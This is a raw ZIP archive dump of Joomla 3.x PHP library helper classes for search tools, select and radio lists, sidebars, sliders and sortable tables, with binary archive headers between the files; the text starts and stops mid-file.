JText::_('JRULE_DENIED_INHERITED') . '">
</a>';
return $images;
}
}
PK〈[g75���html/searchtools.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Searchtools elements.
*
* @since 3.2
*/
abstract class JHtmlSearchtools
{
/**
* @var array Array containing information for loaded files
* @since 3.2
*/
protected static $loaded = array();
/**
* Load the main Searchtools libraries
*
* @return void
*
* @since 3.2
*/
public static function main()
{
// Only load once
if (empty(static::$loaded[__METHOD__]))
{
// Requires jQuery but allows to skip its loading
if ($loadJquery = (!isset($options['loadJquery']) ||
$options['loadJquery'] != 0))
{
JHtml::_('jquery.framework');
}
// Load the jQuery plugin && CSS
JHtml::_('script', 'jui/jquery.searchtools.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.searchtools.css',
array('version' => 'auto', 'relative'
=> true));
static::$loaded[__METHOD__] = true;
}
return;
}
/**
* Load searchtools for a specific form
*
* @param mixed $selector Is debugging mode on? [optional]
* @param array $options Optional array of parameters for search
tools
*
* @return void
*
* @since 3.2
*/
public static function form($selector = '.js-stools-form',
$options = array())
{
$sig = md5(serialize(array($selector, $options)));
// Only load once
if (!isset(static::$loaded[__METHOD__][$sig]))
{
// Include Bootstrap framework
static::main();
// Add the form selector to the search tools options
$options['formSelector'] = $selector;
// Generate options with default values
$options = static::optionsToRegistry($options);
$doc = JFactory::getDocument();
$script = "
(function($){
$(document).ready(function() {
$('" . $selector . "').searchtools(
" . $options->toString() . "
);
});
})(jQuery);
";
$doc->addScriptDeclaration($script);
static::$loaded[__METHOD__][$sig] = true;
}
return;
}
/**
* Function to receive & pre-process javascript options
*
* @param mixed $options Associative array/Registry object with
options
*
* @return Registry Options converted to Registry object
*/
private static function optionsToRegistry($options)
{
// Support options array
if (is_array($options))
{
$options = new Registry($options);
}
if (!($options instanceof Registry))
{
$options = new Registry;
}
return $options;
}
/**
* Method to sort a column in a grid
*
* @param string $title The link title
* @param string $order The order field for the column
* @param string $direction The current direction
* @param mixed $selected The selected ordering
* @param string $task An optional task override
* @param string $newDirection An optional direction for the new
column
* @param string $tip An optional text shown as tooltip title
instead of $title
* @param string $icon Icon to show
* @param string $formName Name of the form to submit
*
* @return string
*/
public static function sort($title, $order, $direction = 'asc',
$selected = 0, $task = null, $newDirection = 'asc', $tip =
'', $icon = null,
$formName = 'adminForm')
{
$direction = strtolower($direction);
$orderIcons = array('icon-arrow-up-3',
'icon-arrow-down-3');
$index = (int) ($direction === 'desc');
if ($order !== $selected)
{
$direction = $newDirection;
}
else
{
$direction = $direction === 'desc' ? 'asc' :
'desc';
}
// Create an object to pass it to the layouts
$data = new stdClass;
$data->order = $order;
$data->direction = $direction;
$data->selected = $selected;
$data->task = $task;
$data->tip = $tip;
$data->title = $title;
$data->orderIcon = $orderIcons[$index];
$data->icon = $icon;
$data->formName = $formName;
return JLayoutHelper::render('joomla.searchtools.grid.sort',
$data);
}
}
PK〈[�W��m�mhtml/select.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for creating HTML select lists
*
* @since 1.5
*/
abstract class JHtmlSelect
{
/**
* Default values for options. Organized by option group.
*
* @var array
* @since 1.5
*/
protected static $optionDefaults = array(
'option' => array(
'option.attr' => null,
'option.disable' => 'disable',
'option.id' => null,
'option.key' => 'value',
'option.key.toHtml' => true,
'option.label' => null,
'option.label.toHtml' => true,
'option.text' => 'text',
'option.text.toHtml' => true,
'option.class' => 'class',
'option.onclick' => 'onclick',
),
);
/**
* Generates a yes/no radio list.
*
* @param string $name The value of the HTML name attribute
* @param array $attribs Additional HTML attributes for the
`<select>` tag
* @param string $selected The key that is selected
* @param string $yes Language key for Yes
* @param string $no Language key for no
* @param mixed $id The id for the field or false for no id
*
* @return string HTML for the radio list
*
* @since 1.5
* @see JFormFieldRadio
*/
public static function booleanlist($name, $attribs = array(), $selected =
null, $yes = 'JYES', $no = 'JNO', $id = false)
{
$arr = array(JHtml::_('select.option', '0',
JText::_($no)), JHtml::_('select.option', '1',
JText::_($yes)));
return JHtml::_('select.radiolist', $arr, $name, $attribs,
'value', 'text', (int) $selected, $id);
}
/**
* Generates an HTML selection list.
*
* @param array $data An array of objects, arrays, or scalars.
* @param string $name The value of the HTML name attribute.
* @param mixed $attribs Additional HTML attributes for the
`<select>` tag. This
* can be an array of attributes, or an
array of options. Treated as options
* if it is the last argument passed. Valid
options are:
* Format options, see {@see
JHtml::$formatOptions}.
* Selection options, see {@see
JHtmlSelect::options()}.
* list.attr, string|array: Additional
attributes for the select
* element.
* id, string: Value to use as the select
element id attribute.
* Defaults to the same as the name.
* list.select, string|array: Identifies one
or more option elements
* to be selected, based on the option key
values.
* @param string $optKey The name of the object variable for the
option value. If
* set to null, the index of the value array
is used.
* @param string $optText The name of the object variable for the
option text.
* @param mixed $selected The key that is selected (accepts an
array or a string).
* @param mixed $idtag Value of the field id or null by default
* @param boolean $translate True to translate
*
* @return string HTML for the select list.
*
* @since 1.5
*/
public static function genericlist($data, $name, $attribs = null, $optKey
= 'value', $optText = 'text', $selected = null, $idtag
= false,
$translate = false)
{
// Set default options
$options = array_merge(JHtml::$formatOptions,
array('format.depth' => 0, 'id' => false));
if (is_array($attribs) && func_num_args() === 3)
{
// Assume we have an options array
$options = array_merge($options, $attribs);
}
else
{
// Get options from the parameters
$options['id'] = $idtag;
$options['list.attr'] = $attribs;
$options['list.translate'] = $translate;
$options['option.key'] = $optKey;
$options['option.text'] = $optText;
$options['list.select'] = $selected;
}
$attribs = '';
if (isset($options['list.attr']))
{
if (is_array($options['list.attr']))
{
$attribs = ArrayHelper::toString($options['list.attr']);
}
else
{
$attribs = $options['list.attr'];
}
if ($attribs !== '')
{
$attribs = ' ' . $attribs;
}
}
$id = $options['id'] !== false ? $options['id'] :
$name;
$id = str_replace(array('[', ']', ' '),
'', $id);
$baseIndent = str_repeat($options['format.indent'],
$options['format.depth']++);
$html = $baseIndent . '<select' . ($id !== '' ?
' id="' . $id . '"' : '') . '
name="' . $name . '"' . $attribs .
'>' . $options['format.eol']
. static::options($data, $options) . $baseIndent .
'</select>' . $options['format.eol'];
return $html;
}
/**
* Method to build a list with suggestions
*
* @param array $data An array of objects, arrays, or values.
* @param string $optKey The name of the object variable for the
option value. If
* set to null, the index of the value array
is used.
* @param string $optText The name of the object variable for the
option text.
* @param mixed $idtag Value of the field id or null by default
* @param boolean $translate True to translate
*
* @return string HTML for the select list
*
* @since 3.2
* @deprecated 4.0 Just create the `<datalist>` directly instead
*/
public static function suggestionlist($data, $optKey = 'value',
$optText = 'text', $idtag = null, $translate = false)
{
// Log deprecated message
JLog::add(
sprintf(
'%s() is deprecated. Create the <datalist> tag directly
instead.',
__METHOD__
),
JLog::WARNING,
'deprecated'
);
// Note: $idtag is required but has to be an optional argument in the
funtion call due to argument order
if (!$idtag)
{
throw new InvalidArgumentException('$idtag is a required argument
in deprecated JHtmlSelect::suggestionlist');
}
// Set default options
$options = array_merge(JHtml::$formatOptions,
array('format.depth' => 0, 'id' => false));
// Get options from the parameters
$options['id'] = $idtag;
$options['list.attr'] = null;
$options['list.translate'] = $translate;
$options['option.key'] = $optKey;
$options['option.text'] = $optText;
$options['list.select'] = null;
$id = ' id="' . $idtag . '"';
$baseIndent = str_repeat($options['format.indent'],
$options['format.depth']++);
$html = $baseIndent . '<datalist' . $id . '>' .
$options['format.eol']
. static::options($data, $options) . $baseIndent .
'</datalist>' . $options['format.eol'];
return $html;
}
/**
* Generates a grouped HTML selection list from nested arrays.
*
* @param array $data An array of groups, each of which is an
array of options.
* @param string $name The value of the HTML name attribute
* @param array $options Options, an array of key/value pairs. Valid
options are:
* Format options, {@see
JHtml::$formatOptions}.
* Selection options. See {@see
JHtmlSelect::options()}.
* group.id: The property in each group to use
as the group id
* attribute. Defaults to none.
* group.label: The property in each group to
use as the group
* label. Defaults to "text". If set
to null, the data array index key is
* used.
* group.items: The property in each group to
use as the array of
* items in the group. Defaults to
"items". If set to null, group.id and
* group. label are forced to null and the data
element is assumed to be a
* list of selections.
* id: Value to use as the select element id
attribute. Defaults to
* the same as the name.
* list.attr: Attributes for the select
element. Can be a string or
* an array of key/value pairs. Defaults to
none.
* list.select: either the value of one
selected option or an array
* of selected options. Default: none.
* list.translate: Boolean. If set, text and
labels are translated via
* JText::_().
*
* @return string HTML for the select list
*
* @since 1.5
* @throws RuntimeException If a group has contents that cannot be
processed.
*/
public static function groupedlist($data, $name, $options = array())
{
// Set default options and overwrite with anything passed in
$options = array_merge(
JHtml::$formatOptions,
array('format.depth' => 0, 'group.items' =>
'items', 'group.label' => 'text',
'group.label.toHtml' => true, 'id' => false),
$options
);
// Apply option rules
if ($options['group.items'] === null)
{
$options['group.label'] = null;
}
$attribs = '';
if (isset($options['list.attr']))
{
if (is_array($options['list.attr']))
{
$attribs = ArrayHelper::toString($options['list.attr']);
}
else
{
$attribs = $options['list.attr'];
}
if ($attribs !== '')
{
$attribs = ' ' . $attribs;
}
}
$id = $options['id'] !== false ? $options['id'] :
$name;
$id = str_replace(array('[', ']', ' '),
'', $id);
// Disable groups in the options.
$options['groups'] = false;
$baseIndent = str_repeat($options['format.indent'],
$options['format.depth']++);
$html = $baseIndent . '<select' . ($id !== '' ?
' id="' . $id . '"' : '') . '
name="' . $name . '"' . $attribs .
'>' . $options['format.eol'];
$groupIndent = str_repeat($options['format.indent'],
$options['format.depth']++);
foreach ($data as $dataKey => $group)
{
$label = $dataKey;
$id = '';
$noGroup = is_int($dataKey);
if ($options['group.items'] == null)
{
// Sub-list is an associative array
$subList = $group;
}
elseif (is_array($group))
{
// Sub-list is in an element of an array.
$subList = $group[$options['group.items']];
if (isset($group[$options['group.label']]))
{
$label = $group[$options['group.label']];
$noGroup = false;
}
if (isset($options['group.id']) &&
isset($group[$options['group.id']]))
{
$id = $group[$options['group.id']];
$noGroup = false;
}
}
elseif (is_object($group))
{
// Sub-list is in a property of an object
$subList = $group->{$options['group.items']};
if (isset($group->{$options['group.label']}))
{
$label = $group->{$options['group.label']};
$noGroup = false;
}
if (isset($options['group.id']) &&
isset($group->{$options['group.id']}))
{
$id = $group->{$options['group.id']};
$noGroup = false;
}
}
else
{
throw new RuntimeException('Invalid group contents.', 1);
}
if ($noGroup)
{
$html .= static::options($subList, $options);
}
else
{
$html .= $groupIndent . '<optgroup' . (empty($id) ?
'' : ' id="' . $id . '"') . '
label="'
. ($options['group.label.toHtml'] ? htmlspecialchars($label,
ENT_COMPAT, 'UTF-8') : $label) . '">' .
$options['format.eol']
. static::options($subList, $options) . $groupIndent .
'</optgroup>' . $options['format.eol'];
}
}
$html .= $baseIndent . '</select>' .
$options['format.eol'];
return $html;
}
/**
* Generates a selection list of integers.
*
* @param integer $start The start integer
* @param integer $end The end integer
* @param integer $inc The increment
* @param string $name The value of the HTML name attribute
* @param mixed $attribs Additional HTML attributes for the
`<select>` tag, an array of
* attributes, or an array of options.
Treated as options if it is the last
* argument passed.
* @param mixed $selected The key that is selected
* @param string $format The printf format to be applied to the
number
*
* @return string HTML for the select list
*
* @since 1.5
*/
public static function integerlist($start, $end, $inc, $name, $attribs =
null, $selected = null, $format = '')
{
// Set default options
$options = array_merge(JHtml::$formatOptions,
array('format.depth' => 0, 'option.format' =>
'', 'id' => null));
if (is_array($attribs) && func_num_args() === 5)
{
// Assume we have an options array
$options = array_merge($options, $attribs);
// Extract the format and remove it from downstream options
$format = $options['option.format'];
unset($options['option.format']);
}
else
{
// Get options from the parameters
$options['list.attr'] = $attribs;
$options['list.select'] = $selected;
}
$start = (int) $start;
$end = (int) $end;
$inc = (int) $inc;
$data = array();
for ($i = $start; $i <= $end; $i += $inc)
{
$data[$i] = $format ? sprintf($format, $i) : $i;
}
// Tell genericlist() to use array keys
$options['option.key'] = null;
return JHtml::_('select.genericlist', $data, $name, $options);
}
/**
* Create a placeholder for an option group.
*
* @param string $text The text for the option
* @param string $optKey The returned object property name for the
value
* @param string $optText The returned object property name for the
text
*
* @return stdClass
*
* @deprecated 4.0 Use JHtmlSelect::groupedList()
* @see JHtmlSelect::groupedList()
* @since 1.5
*/
public static function optgroup($text, $optKey = 'value',
$optText = 'text')
{
JLog::add('JHtmlSelect::optgroup() is deprecated, use
JHtmlSelect::groupedList() instead.', JLog::WARNING,
'deprecated');
// Set initial state
static $state = 'open';
// Toggle between open and close states:
switch ($state)
{
case 'open':
$obj = new stdClass;
$obj->$optKey = '<OPTGROUP>';
$obj->$optText = $text;
$state = 'close';
break;
case 'close':
$obj = new stdClass;
$obj->$optKey = '</OPTGROUP>';
$obj->$optText = $text;
$state = 'open';
break;
}
return $obj;
}
/**
* Create an object that represents an option in an option list.
*
* @param string $value The value of the option
* @param string $text The text for the option
* @param mixed $optKey If a string, the returned object property
name for
* the value. If an array, options. Valid
options are:
* attr: String|array. Additional attributes
for this option.
* Defaults to none.
* disable: Boolean. If set, this option is
disabled.
* label: String. The value for the option
label.
* option.attr: The property in each option
array to use for
* additional selection attributes. Defaults
to none.
* option.disable: The property that will hold
the disabled state.
* Defaults to "disable".
* option.key: The property that will hold the
selection value.
* Defaults to "value".
* option.label: The property in each option
array to use as the
* selection label attribute. If a
"label" option is provided, defaults to
* "label", if no label is given,
defaults to null (none).
* option.text: The property that will hold
the the displayed text.
* Defaults to "text". If set to
null, the option array is assumed to be a
* list of displayable scalars.
* @param string $optText The property that will hold the the
displayed text. This
* parameter is ignored if an options array is
passed.
* @param boolean $disable Not used.
*
* @return stdClass
*
* @since 1.5
*/
public static function option($value, $text = '', $optKey =
'value', $optText = 'text', $disable = false)
{
$options = array(
'attr' => null,
'disable' => false,
'option.attr' => null,
'option.disable' => 'disable',
'option.key' => 'value',
'option.label' => null,
'option.text' => 'text',
);
if (is_array($optKey))
{
// Merge in caller's options
$options = array_merge($options, $optKey);
}
else
{
// Get options from the parameters
$options['option.key'] = $optKey;
$options['option.text'] = $optText;
$options['disable'] = $disable;
}
$obj = new stdClass;
$obj->{$options['option.key']} = $value;
$obj->{$options['option.text']} = trim($text) ? $text :
$value;
/*
* If a label is provided, save it. If no label is provided and there is
* a label name, initialise to an empty string.
*/
$hasProperty = $options['option.label'] !== null;
if (isset($options['label']))
{
$labelProperty = $hasProperty ? $options['option.label'] :
'label';
$obj->$labelProperty = $options['label'];
}
elseif ($hasProperty)
{
$obj->{$options['option.label']} = '';
}
// Set attributes only if there is a property and a value
if ($options['attr'] !== null)
{
$obj->{$options['option.attr']} =
$options['attr'];
}
// Set disable only if it has a property and a value
if ($options['disable'] !== null)
{
$obj->{$options['option.disable']} =
$options['disable'];
}
return $obj;
}
/**
* Generates the option tags for an HTML select list (with no select tag
* surrounding the options).
*
* @param array $arr An array of objects, arrays, or values.
* @param mixed $optKey If a string, this is the name of the
object variable for
* the option value. If null, the index of
the array of objects is used. If
* an array, this is a set of options, as
key/value pairs. Valid options are:
* -Format options, {@see
JHtml::$formatOptions}.
* -groups: Boolean. If set, looks for keys
with the value
* "<optgroup>" and
synthesizes groups from them. Deprecated. Defaults
* true for backwards compatibility.
* -list.select: either the value of one
selected option or an array
* of selected options. Default: none.
* -list.translate: Boolean. If set, text
and labels are translated via
* JText::_(). Default is false.
* -option.id: The property in each option
array to use as the
* selection id attribute. Defaults to
none.
* -option.key: The property in each option
array to use as the
* selection value. Defaults to
"value". If set to null, the index of the
* option array is used.
* -option.label: The property in each
option array to use as the
* selection label attribute. Defaults to
null (none).
* -option.text: The property in each option
array to use as the
* displayed text. Defaults to
"text". If set to null, the option array is
* assumed to be a list of displayable
scalars.
* -option.attr: The property in each option
array to use for
* additional selection attributes.
Defaults to none.
* -option.disable: The property that will
hold the disabled state.
* Defaults to "disable".
* -option.key: The property that will hold
the selection value.
* Defaults to "value".
* -option.text: The property that will hold
the the displayed text.
* Defaults to "text". If set to
null, the option array is assumed to be a
* list of displayable scalars.
* @param string $optText The name of the object variable for the
option text.
* @param mixed $selected The key that is selected (accepts an
array or a string)
* @param boolean $translate Translate the option values.
*
* @return string HTML for the select list
*
* @since 1.5
*/
public static function options($arr, $optKey = 'value', $optText
= 'text', $selected = null, $translate = false)
{
$options = array_merge(
JHtml::$formatOptions,
static::$optionDefaults['option'],
array('format.depth' => 0, 'groups' => true,
'list.select' => null, 'list.translate' => false)
);
if (is_array($optKey))
{
// Set default options and overwrite with anything passed in
$options = array_merge($options, $optKey);
}
else
{
// Get options from the parameters
$options['option.key'] = $optKey;
$options['option.text'] = $optText;
$options['list.select'] = $selected;
$options['list.translate'] = $translate;
}
$html = '';
$baseIndent = str_repeat($options['format.indent'],
$options['format.depth']);
foreach ($arr as $elementKey => &$element)
{
$attr = '';
$extra = '';
$label = '';
$id = '';
if (is_array($element))
{
$key = $options['option.key'] === null ? $elementKey :
$element[$options['option.key']];
$text = $element[$options['option.text']];
if (isset($element[$options['option.attr']]))
{
$attr = $element[$options['option.attr']];
}
if (isset($element[$options['option.id']]))
{
$id = $element[$options['option.id']];
}
if (isset($element[$options['option.label']]))
{
$label = $element[$options['option.label']];
}
if (isset($element[$options['option.disable']]) &&
$element[$options['option.disable']])
{
$extra .= ' disabled="disabled"';
}
}
elseif (is_object($element))
{
$key = $options['option.key'] === null ? $elementKey :
$element->{$options['option.key']};
$text = $element->{$options['option.text']};
if (isset($element->{$options['option.attr']}))
{
$attr = $element->{$options['option.attr']};
}
if (isset($element->{$options['option.id']}))
{
$id = $element->{$options['option.id']};
}
if (isset($element->{$options['option.label']}))
{
$label = $element->{$options['option.label']};
}
if (isset($element->{$options['option.disable']})
&& $element->{$options['option.disable']})
{
$extra .= ' disabled="disabled"';
}
if (isset($element->{$options['option.class']}) &&
$element->{$options['option.class']})
{
$extra .= ' class="' .
$element->{$options['option.class']} . '"';
}
if (isset($element->{$options['option.onclick']})
&& $element->{$options['option.onclick']})
{
$extra .= ' onclick="' .
$element->{$options['option.onclick']} . '"';
}
}
else
{
// This is a simple associative array
$key = $elementKey;
$text = $element;
}
/*
* The use of options that contain optgroup HTML elements was
* somewhat hacked for J1.5. J1.6 introduces the grouplist() method
* to handle this better. The old solution is retained through the
* "groups" option, which defaults true in J1.6, but should be
* deprecated at some point in the future.
*/
$key = (string) $key;
if ($key === '<OPTGROUP>' &&
$options['groups'])
{
$html .= $baseIndent . '<optgroup label="' .
($options['list.translate'] ? JText::_($text) : $text) .
'">' . $options['format.eol'];
$baseIndent = str_repeat($options['format.indent'],
++$options['format.depth']);
}
elseif ($key === '</OPTGROUP>' &&
$options['groups'])
{
$baseIndent = str_repeat($options['format.indent'],
--$options['format.depth']);
$html .= $baseIndent . '</optgroup>' .
$options['format.eol'];
}
else
{
// If no string after hyphen - take hyphen out
$splitText = explode(' - ', $text, 2);
$text = $splitText[0];
if (isset($splitText[1]) && $splitText[1] !== ''
&& !preg_match('/^[\s]+$/', $splitText[1]))
{
$text .= ' - ' . $splitText[1];
}
if (!empty($label) && $options['list.translate'])
{
$label = JText::_($label);
}
if ($options['option.label.toHtml'])
{
$label = htmlentities($label);
}
if (is_array($attr))
{
$attr = ArrayHelper::toString($attr);
}
else
{
$attr = trim($attr);
}
$extra = ($id ? ' id="' . $id . '"' :
'') . ($label ? ' label="' . $label .
'"' : '') . ($attr ? ' ' . $attr :
'') . $extra;
if (is_array($options['list.select']))
{
foreach ($options['list.select'] as $val)
{
$key2 = is_object($val) ? $val->{$options['option.key']}
: $val;
if ($key == $key2)
{
$extra .= ' selected="selected"';
break;
}
}
}
elseif ((string) $key === (string) $options['list.select'])
{
$extra .= ' selected="selected"';
}
if ($options['list.translate'])
{
$text = JText::_($text);
}
// Generate the option, encoding as required
$html .= $baseIndent . '<option value="' .
($options['option.key.toHtml'] ? htmlspecialchars($key,
ENT_COMPAT, 'UTF-8') : $key) . '"'
. $extra . '>';
$html .= $options['option.text.toHtml'] ?
htmlentities(html_entity_decode($text, ENT_COMPAT, 'UTF-8'),
ENT_COMPAT, 'UTF-8') : $text;
$html .= '</option>' .
$options['format.eol'];
}
}
return $html;
}
/**
* Generates an HTML radio list.
*
* @param array $data An array of objects
* @param string $name The value of the HTML name attribute
* @param string $attribs Additional HTML attributes for the
`<select>` tag
* @param mixed $optKey The key that is selected
* @param string $optText The name of the object variable for the
option value
* @param string $selected The name of the object variable for the
option text
* @param boolean $idtag Value of the field id or null by default
* @param boolean $translate True if options will be translated
*
* @return string HTML for the select list
*
* @since 1.5
*/
public static function radiolist($data, $name, $attribs = null, $optKey =
'value', $optText = 'text', $selected = null, $idtag =
false,
$translate = false)
{
if (is_array($attribs))
{
$attribs = ArrayHelper::toString($attribs);
}
$id_text = $idtag ?: $name;
$html = '<div class="controls">';
foreach ($data as $obj)
{
$k = $obj->$optKey;
$t = $translate ? JText::_($obj->$optText) : $obj->$optText;
$id = (isset($obj->id) ? $obj->id : null);
$extra = '';
$id = $id ? $obj->id : $id_text . $k;
if (is_array($selected))
{
foreach ($selected as $val)
{
$k2 = is_object($val) ? $val->$optKey : $val;
if ($k == $k2)
{
$extra .= ' selected="selected" ';
break;
}
}
}
else
{
$extra .= ((string) $k === (string) $selected ? '
checked="checked" ' : '');
}
$html .= "\n\t" . '<label for="' . $id .
'" id="' . $id . '-lbl"
class="radio">';
$html .= "\n\t\n\t" . '<input type="radio"
name="' . $name . '" id="' . $id .
'" value="' . $k . '" ' . $extra
. $attribs . ' />' . $t;
$html .= "\n\t" . '</label>';
}
$html .= "\n";
$html .= '</div>';
$html .= "\n";
return $html;
}
}
PK〈[�ټGgghtml/sidebar.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class to render a list view sidebar
*
* @since 3.0
*/
abstract class JHtmlSidebar
{
/**
* Menu entries
*
* @var array
* @since 3.0
*/
protected static $entries = array();
/**
* Filters
*
* @var array
* @since 3.0
*/
protected static $filters = array();
/**
* Value for the action attribute of the form.
*
* @var string
* @since 3.0
*/
protected static $action = '';
/**
* Render the sidebar.
*
* @return string The necessary HTML to display the sidebar
*
* @since 3.0
*/
public static function render()
{
// Collect display data
$data = new stdClass;
$data->list = static::getEntries();
$data->filters = static::getFilters();
$data->action = static::getAction();
$data->displayMenu = count($data->list);
$data->displayFilters = count($data->filters);
$data->hide =
JFactory::getApplication()->input->getBool('hidemainmenu');
// Create a layout object and ask it to render the sidebar
$layout = new JLayoutFile('joomla.sidebars.submenu');
return $layout->render($data);
}
/**
* Method to add a menu item to submenu.
*
* @param string $name Name of the menu item.
* @param string $link URL of the menu item.
* @param bool $active True if the item is active, false otherwise.
*
* @return void
*
* @since 3.0
*/
public static function addEntry($name, $link = '', $active =
false)
{
static::$entries[] = array($name, $link, $active);
}
/**
* Returns an array of all submenu entries
*
* @return array
*
* @since 3.0
*/
public static function getEntries()
{
return static::$entries;
}
/**
* Method to add a filter to the submenu
*
* @param string $label Label for the menu item.
* @param string $name Name for the filter. Also used as id.
* @param string $options Options for the select field.
* @param bool $noDefault Don't show the label as the empty
option
*
* @return void
*
* @since 3.0
*/
public static function addFilter($label, $name, $options, $noDefault =
false)
{
static::$filters[] = array('label' => $label,
'name' => $name, 'options' => $options,
'noDefault' => $noDefault);
}
/**
* Returns an array of all filters
*
* @return array
*
* @since 3.0
*/
public static function getFilters()
{
return static::$filters;
}
/**
* Set value for the action attribute of the filter form
*
* @param string $action Value for the action attribute of the form
*
* @return void
*
* @since 3.0
*/
public static function setAction($action)
{
static::$action = $action;
}
/**
* Get value for the action attribute of the filter form
*
* @return string
*
* @since 3.0
*/
public static function getAction()
{
return static::$action;
}
}
PK〈[7�v�html/sliders.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for Sliders elements
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
abstract class JHtmlSliders
{
/**
* Creates a panes and loads the javascript behavior for it.
*
* @param string $group The pane identifier.
* @param array $params An array of options.
*
* @return string
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function start($group = 'sliders', $params =
array())
{
static::loadBehavior($group, $params);
return '<div id="' . $group . '"
class="pane-sliders"><div
style="display:none;"><div>';
}
/**
* Close the current pane.
*
* @return string hTML to close the pane
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function end()
{
return '</div></div></div>';
}
/**
* Begins the display of a new panel.
*
* @param string $text Text to display.
* @param string $id Identifier of the panel.
*
* @return string HTML to start a panel
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
public static function panel($text, $id)
{
return '</div></div><div
class="panel"><h3 class="pane-toggler title"
id="' . $id . '"><a
href="javascript:void(0);"><span>' . $text
. '</span></a></h3><div
class="pane-slider content">';
}
/**
* Load the JavaScript behavior.
*
* @param string $group The pane identifier.
* @param array $params Array of options.
*
* @return void
*
* @since 1.6
* @deprecated 3.7.0 These helpers are dependent on the deprecated
MooTools support
*/
protected static function loadBehavior($group, $params = array())
{
static $loaded = array();
if (!array_key_exists($group, $loaded))
{
// Get the JInput object
$input = JFactory::getApplication()->input;
$loaded[$group] = true;
// Include mootools framework.
JHtml::_('behavior.framework', true);
$document = JFactory::getDocument();
$display = (isset($params['startOffset']) &&
isset($params['startTransition']) &&
$params['startTransition'])
? (int) $params['startOffset'] : null;
$show = (isset($params['startOffset']) &&
!(isset($params['startTransition']) &&
$params['startTransition']))
? (int) $params['startOffset'] : null;
$opt['onActive'] = "\\function(toggler, i)
{toggler.addClass('pane-toggler-down');" .
"toggler.removeClass('pane-toggler');i.addClass('pane-down');i.removeClass('pane-hide');Cookie.write('jpanesliders_"
. $group . "',$$('div#" . $group .
".pane-sliders > .panel > h3').indexOf(toggler));}";
$opt['onBackground'] = "\\function(toggler, i)
{toggler.addClass('pane-toggler');" .
"toggler.removeClass('pane-toggler-down');i.addClass('pane-hide');i.removeClass('pane-down');if($$('div#"
. $group . ".pane-sliders > .panel >
h3').length==$$('div#" . $group
. ".pane-sliders > .panel > h3.pane-toggler').length)
Cookie.write('jpanesliders_" . $group . "',-1);}";
$opt['duration'] = isset($params['duration']) ?
(int) $params['duration'] : 300;
$opt['display'] = (isset($params['useCookie'])
&& $params['useCookie']) ?
$input->cookie->get('jpanesliders_' . $group, $display,
'integer')
: $display;
$opt['show'] = (isset($params['useCookie'])
&& $params['useCookie']) ?
$input->cookie->get('jpanesliders_' . $group, $show,
'integer') : $show;
$opt['opacity'] =
(isset($params['opacityTransition']) &&
$params['opacityTransition']) ? 'true' :
'false';
$opt['alwaysHide'] =
(isset($params['allowAllClose']) &&
(!$params['allowAllClose'])) ? 'false' :
'true';
$options = JHtml::getJSObject($opt);
$js = "window.addEvent('domready', function(){ new
Fx.Accordion($$('div#" . $group
. ".pane-sliders > .panel > h3.pane-toggler'),
$$('div#" . $group . ".pane-sliders > .panel >
div.pane-slider'), " . $options
. "); });";
$document->addScriptDeclaration($js);
}
}
}
PK〈[�H����html/sortablelist.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML utility class for creating a sortable table list
*
* @since 3.0
*/
abstract class JHtmlSortablelist
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Method to load the Sortable script and make table sortable
*
* @param string $tableId DOM id of the table
* @param string $formId DOM id of the form
* @param string $sortDir Sort direction
* @param string $saveOrderingUrl Save ordering url, ajax-load
after an item dropped
* @param boolean $proceedSaveOrderButton Set whether a save order
button is displayed
* @param boolean $nestedList Set whether the list is a
nested list
*
* @return void
*
* @since 3.0
*
* @throws InvalidArgumentException
*/
public static function sortable($tableId, $formId, $sortDir =
'asc', $saveOrderingUrl = null, $proceedSaveOrderButton = true,
$nestedList = false)
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
// Note: $i is required but has to be an optional argument in the
function call due to argument order
if ($saveOrderingUrl === null)
{
throw new InvalidArgumentException(sprintf('$saveOrderingUrl is a
required argument in %s()', __METHOD__));
}
$displayData = array(
'tableId' => $tableId,
'formId' => $formId,
'sortDir' => $sortDir,
'saveOrderingUrl' => $saveOrderingUrl,
'nestedList' => $nestedList,
'proceedSaveOrderButton' => $proceedSaveOrderButton,
);
JLayoutHelper::render('joomla.html.sortablelist',
$displayData);
// Set static array
static::$loaded[__METHOD__] = true;
return;
}
/**
* Method to inject script for enabled and disable Save order button
* when changing value of ordering input boxes
*
* @return void
*
* @since 3.0
*
* @deprecated 4.0 The logic is merged in the JLayout file
*/
public static function _proceedSaveOrderButton()
{
JFactory::getDocument()->addScriptDeclaration(
"(function ($){
$(document).ready(function (){
var saveOrderButton = $('.saveorder');
saveOrderButton.css({'opacity':'0.2',
'cursor':'default'}).attr('onclick','return
false;');
var oldOrderingValue = '';
